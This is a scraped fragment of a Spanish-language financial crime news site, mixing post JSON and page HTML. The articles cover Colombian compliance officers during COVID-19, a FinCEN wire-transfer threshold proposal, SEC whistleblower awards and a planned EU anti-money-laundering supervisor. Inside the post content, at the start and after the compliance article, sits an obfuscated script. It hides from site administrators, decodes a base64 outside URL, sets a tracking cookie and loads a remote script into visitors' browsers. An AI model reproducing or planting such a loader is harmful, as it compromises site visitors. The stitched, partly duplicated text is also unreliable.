Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en 